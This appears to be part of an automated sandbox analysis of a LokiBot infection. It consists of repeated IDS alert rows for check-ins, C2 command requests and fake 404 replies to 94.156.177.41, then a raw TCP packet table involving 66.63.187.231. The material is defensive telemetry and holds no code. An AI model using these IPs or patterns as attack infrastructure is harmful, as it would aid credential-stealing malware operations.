2024-11-20T11:09:44.496461+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49253	94.156.177.41	80	TCP
2024-11-20T11:09:44.496461+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49253	94.156.177.41	80	TCP
2024-11-20T11:09:44.514314+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49253	TCP
2024-11-20T11:09:44.672058+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:44.672058+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:44.672058+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:45.552873+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:45.552873+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:45.560204+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49254	TCP
2024-11-20T11:09:45.977790+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:45.977790+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:45.977790+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:46.836511+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:46.836511+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:46.843780+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49255	TCP
2024-11-20T11:09:47.076413+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:47.076413+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:47.076413+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:47.805329+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:47.805329+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:47.813495+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49256	TCP
2024-11-20T11:09:48.084264+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:48.084264+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:48.084264+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:48.830988+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:48.830988+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:48.835847+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49257	TCP
2024-11-20T11:09:48.976620+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:48.976620+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:48.976620+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:49.845370+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:49.845370+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:49.850273+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49258	TCP
2024-11-20T11:09:49.991081+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:49.991081+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:49.991081+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:50.739485+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:50.739485+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:50.744961+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49259	TCP
2024-11-20T11:09:50.896158+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:50.896158+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:50.896158+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:51.764421+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:51.764421+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:51.771158+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49260	TCP
2024-11-20T11:09:51.906530+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:51.906530+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:51.906530+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:52.644424+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:52.644424+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:52.649859+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49261	TCP
2024-11-20T11:09:53.992288+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:53.992288+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:53.992288+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:54.860925+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:54.860925+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:54.882822+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49262	TCP
2024-11-20T11:09:55.237642+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:55.237642+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:55.237642+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:56.162434+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:56.162434+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:56.167364+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49263	TCP
2024-11-20T11:09:56.312045+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:56.312045+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:56.312045+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:57.285140+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:57.285140+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:57.293293+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49264	TCP
2024-11-20T11:09:57.430146+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:57.430146+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:57.430146+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:58.170473+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:58.170473+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:58.181717+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49265	TCP
2024-11-20T11:09:58.398091+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:09:58.398091+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:09:58.398091+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:09:59.122658+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:09:59.122658+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:09:59.127573+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49266	TCP
2024-11-20T11:09:59.662601+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:09:59.662601+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:09:59.662601+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:10:00.411828+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:10:00.411828+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:10:00.419064+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49267	TCP
2024-11-20T11:10:00.565538+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:00.565538+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:00.565538+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:01.322717+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:01.322717+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:01.332375+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49268	TCP
2024-11-20T11:10:01.472851+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:01.472851+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:01.472851+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:02.202639+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:02.202639+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:02.207700+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49269	TCP
2024-11-20T11:10:02.341419+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:02.341419+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:02.341419+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:03.219949+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:03.219949+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:03.237104+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49270	TCP
2024-11-20T11:10:03.579344+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:03.579344+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:03.579344+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:04.454187+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:04.454187+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:04.459383+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49271	TCP
2024-11-20T11:10:04.613405+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:04.613405+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:04.613405+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:05.503902+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:05.503902+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:05.508922+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49272	TCP
2024-11-20T11:10:05.653629+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49273	94.156.177.41	80	TCP
2024-11-20T11:10:05.653629+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49273	94.156.177.41	80	TCP
2024-11-20T11:10:05.653629+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49273	94.156.177.41	80	TCP
2024-11-20T11:10:06.403992+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49273	94.156.177.41	80	TCP
2024-11-20T11:10:06.403992+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49273	94.156.177.41	80	TCP
2024-11-20T11:10:06.443859+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49273	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 11:08:00.365417004 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:00.375226974 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:00.375309944 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:00.375526905 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:00.386658907 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.107028008 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.107172966 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.107296944 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.107309103 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.107414961 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.107949018 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.107959986 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.107976913 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.108047962 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.109575033 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.109586000 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.109596968 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.109606981 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.109647989 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.109659910 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.114681005 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.119070053 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.119168043 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.119178057 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.119235992 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.200149059 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.200298071 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.233007908 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.233129025 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.233366966 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.233381033 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.233392000 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.233433008 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.233465910 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.233774900 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.233819962 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.234102011 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.234150887 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.234473944 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.234483004 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.234529018 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:01.243406057 CET	80	49163	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:01.243505955 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:03.394083023 CET	49163	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:08.502964973 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:08.510183096 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:08.511250019 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:08.511482000 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:08.516303062 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.357212067 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.357271910 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.357295990 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.357317924 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.357328892 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.357367992 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.357697010 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.357734919 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.357753038 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.357770920 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.357789040 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.357822895 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.358474016 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.358510971 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.358536959 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.358546019 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.358580112 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.358592987 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.359302044 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.359361887 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.361406088 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.387171030 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.387224913 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.417298079 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.417377949 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.449167967 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.449229002 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.449295044 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.449330091 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.449353933 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.449383974 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.449948072 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.449982882 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450006008 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450017929 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450037003 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450073957 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450267076 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450330019 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450334072 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450370073 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450392008 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450403929 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450432062 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450439930 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450453043 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450474977 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450495958 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450508118 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450524092 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450608015 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450901985 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450937033 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450972080 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.450985909 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.450985909 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.451019049 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.451925039 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.451961040 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.451992035 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.452044964 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.455559969 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.455637932 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.456192017 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.456228018 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.456252098 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.456276894 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.456799030 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.456834078 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.456850052 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.456876040 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.537679911 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.537744999 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.537791967 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.537837982 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.558121920 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.558149099 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.558162928 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.558177948 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.558207989 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.558207989 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.558585882 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.558598042 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.558612108 CET	80	49164	66.63.187.231	192.168.2.22
